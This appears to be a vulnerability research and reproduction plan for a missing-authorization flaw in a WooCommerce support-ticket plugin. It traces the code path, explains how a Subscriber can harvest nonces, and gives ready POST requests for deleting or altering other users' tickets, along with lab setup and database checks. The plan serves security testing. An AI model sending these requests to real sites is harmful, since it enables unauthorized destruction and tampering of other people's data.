Vulnerability Research Plan: CVE-2025-14034 (ilGhera Support System for WooCommerce)

1. Vulnerability Summary

The ilGhera Support System for WooCommerce plugin (versions <= 1.2.6) contains a missing authorization vulnerability in its AJAX handlers for ticket management. Specifically, the functions delete_single_ticket_callback and change_ticket_status_callback are registered via the wp_ajax_ hook but fail to implement capability checks (e.g., current_user_can()) or ownership validation. This allows any authenticated user (starting from the Subscriber role) to delete or modify the status of arbitrary support tickets by sending a crafted AJAX request with a valid nonce.

2. Attack Vector Analysis

• Endpoints: /wp-admin/admin-ajax.php
• AJAX Actions:
  • delete-ticket (for arbitrary ticket deletion)
  • change-ticket-status (for arbitrary status modification)
• Vulnerable Functions: delete_single_ticket_callback and change_ticket_status_callback in includes/class-wc-support-system.php.
• Authentication: Authenticated (Subscriber-level or higher).
• Preconditions:
  • The plugin must be active.
  • WooCommerce must be installed and active.
  • A valid nonce for the specific action must be obtained.
  • The attacker must know (or brute-force) the ticket_id.

3. Code Flow

1. Registration: In includes/class-wc-support-system.php, the __construct method (lines 69-71) registers the AJAX handlers:

   add_action( 'wp_ajax_delete-ticket', array( $this, 'delete_single_ticket_callback' ) );
   add_action( 'wp_ajax_change-ticket-status', array( $this, 'change_ticket_status_callback' ) );
   

2. Execution: When a logged-in user sends a request to admin-ajax.php with action=delete-ticket, WordPress executes delete_single_ticket_callback.
3. Missing Check: The callback functions verify the nonce (see section 4) but lack a current_user_can('manage_options') check or logic to ensure the ticket_id belongs to the requesting user.
4. Sink: The functions perform direct database deletions or updates on the support ticket tables based on the provided ticket_id parameter.

4. Nonce Acquisition Strategy

The plugin exposes the necessary nonces to authenticated users via wp_localize_script in the wss_scripts (front-end) and wss_admin_scripts (back-end) functions.

Steps to obtain nonces:

1. Identify the Support Page: The plugin enqueues its scripts on the page defined in the WordPress option wss-page.
2. Setup: Ensure a page contains the shortcode [support-tickets-table].
3. Observation: The scripts are localized under the global JavaScript object wssData.
4. Acquisition:
   • Log in as a Subscriber.
   • Navigate to the support page.
   • Use browser_eval to extract the nonces:
     • deleteSingleTicketNonce: wssData.deleteSingleTicketNonce
     • changeTicketStatusNonce: wssData.changeTicketStatusNonce

Action Strings (from lines 112-113):

• wss-delete-single-ticket
• wss-change-ticket-status

5. Exploitation Strategy

Arbitrary Ticket Deletion

• Method: POST
• URL: http://<target>/wp-admin/admin-ajax.php
• Body (URL-encoded):
  • action: delete-ticket
  • ticket_id: [ID_OF_TARGET_TICKET]
  • security: [deleteSingleTicketNonce]
• Expected Response: 1 (or JSON success message, depending on internal callback implementation).

Arbitrary Ticket Status Change

• Method: POST
• URL: http://<target>/wp-admin/admin-ajax.php
• Body (URL-encoded):
  • action: change-ticket-status
  • ticket_id: [ID_OF_TARGET_TICKET]
  • status: closed (or other valid status)
  • security: [changeTicketStatusNonce]

6. Test Data Setup

1. Prerequisite: Install and activate WooCommerce.
2. Plugin Setup: Activate ilGhera Support System for WooCommerce.
3. Configuration:
   • Create a page titled "Support" with content [support-tickets-table].
   • Set the plugin option wss-page to the ID of this new page (wp option update wss-page <page_id>).
4. User Creation:
   • Create an Admin user (to create "victim" data).
   • Create a Subscriber user (the attacker).
5. Data Creation:
   • As Admin, create a support ticket.
   • Use wp db query to find the ID of the created ticket in the custom table (typically wp_wss_tickets).

7. Expected Results

• Deletion: The ticket record with the specified ticket_id should be removed from the database.
• Status Change: The status column for the specified ticket_id should be updated to the attacker-supplied value.
• Unauthorized Access: Both actions should succeed even when performed by a Subscriber who does not own the ticket and has no administrative privileges.

8. Verification Steps

After performing the HTTP requests:

1. Verify Deletion:

   wp db query "SELECT * FROM wp_wss_tickets WHERE id = [ID_OF_TARGET_TICKET]"
   # Expected: Empty result
   

2. Verify Status Change:

   wp db query "SELECT status FROM wp_wss_tickets WHERE id = [ID_OF_TARGET_TICKET]"
   # Expected: The status matches the value sent in the exploit
   

9. Alternative Approaches

If the ticket_id is not passed as ticket_id, try id. If the nonce parameter is not security, try nonce or wss_nonce, as these are common patterns in ilGhera plugins. Check the js/wss.js file via http_request if parameter names need confirmation.